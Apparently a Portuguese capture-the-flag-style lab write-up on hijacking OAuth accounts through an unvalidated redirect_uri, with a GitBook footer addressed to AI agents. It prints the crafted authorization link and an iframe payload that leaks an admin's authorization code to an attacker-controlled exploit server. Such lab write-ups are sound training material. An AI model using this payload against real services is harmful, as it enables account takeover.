> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/oauth-authentication/oauth-account-hijacking-via-redirect-uri.md).

# Sequestro de conta OAuth via redirect\_uri

### Sequestro de conta OAuth via redirect/\_uri

**Objetivo do laboratório**

Este laboratório demonstra como uma má configuração do `redirect_uri` parâmetro em um fluxo OAuth permite que um invasor roube **códigos de autorização** associados à conta de outro usuário.

**Mas, por fim:**

* Interceptar um código de autorização OAuth pertencente a um usuário **admin**
* Use este código para acessar a conta dele
* Excluir usuário **carlos**

**Contexto e Condições**

* O site permite autenticação por meio de um provedor OAuth (rede social).
* Usuário **admin**:
* Abre qualquer link do servidor de exploit.
* Já tem uma sessão ativa com o provedor OAuth.
* IDs fornecidos:
* Conta social do invasor: `wiener:peter`

<figure><img src="/files/5a85a0d2b6349b928f70df575dd7a69511f3cb6e" alt=""><figcaption></figcaption></figure>

**Análise do fluxo OAuth**

Quando um usuário se conecta via OAuth, a aplicação envia uma solicitação semelhante a:

{% code overflow="wrap" %}

```http
GET /auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://0ae000760359a2b483555a77004b00b8.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
```

{% endcode %}

O ponto crítico é que **o provedor OAuth não exige validação rigorosa de `redirect_uri`**.

{% code overflow="wrap" %}

```http
GET /auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://test.com/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
```

{% endcode %}

**Validação da vulnerabilidade**

Alterando o `redirect_uri` parâmetro para um domínio arbitrário, por exemplo:

```bash
redirect_uri=https://test.com/oauth-callback
```

<figure><img src="/files/701748941239595bbeb921152dcd4d991004cc67" alt=""><figcaption></figcaption></figure>

o seguinte comportamento é observado:

* O provedor OAuth redireciona corretamente para este campo
* **OAuth** código de autorização é incluído na URL de redirecionamento

Isso confirma que `redirect_uri` é explorável.

**Exploração**

O objetivo agora é forçar o administrador a iniciar uma autenticação OAuth cujo redirecionamento aponte para o \*\*servidor de exploit\*\* do invasor.

Link OAuth malicioso usado:

{% code overflow="wrap" %}

```bash
https://oauth-0a0c00a60393a257834c58ce0205005b.oauth-server.net/auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://exploit-0a3d004d0323a23f836b59db014d00a8.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email
```

{% endcode %}

Este link é incorporado em uma página do servidor de exploit usando um iframe:

{% code overflow="wrap" %}

```javascript
<iframe src="https://oauth-0a0c00a60393a257834c58ce0205005b.oauth-server.net/auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://exploit-0a3d004d0323a23f836b59db014d00a8.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email"></iframe>
```

{% endcode %}

**Recuperação do código de autorização**

Quando o administrador abre a página:

* O fluxo OAuth é executado automaticamente
* O provedor OAuth redireciona para o servidor de exploit
* Os \*\*logs do servidor de exploit\*\* contêm vários códigos OAuth

O **o último código recebido** é usado, por exemplo:

```
https://0ae000760359a2b483555a77004b00b8.web-security-academy.net/oauth-callback?code=XHqrGOew1V0hH734nwPpUv3aZg0CeFklDsu21mNyslq
```

<figure><img src="/files/33ea527dd9e9ba1797c51f364b78f32e333c20e4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8383f6e2151d2e725b96d33266be984e16118fd3" alt=""><figcaption></figcaption></figure>

**Resultado**

* O código de autorização é válido
* O acesso à \*\*conta do administrador\*\* é obtido

<figure><img src="/files/44b02bbd154e7f7319bab399c9feed0189fadcab" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/oauth-authentication/oauth-account-hijacking-via-redirect-uri.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
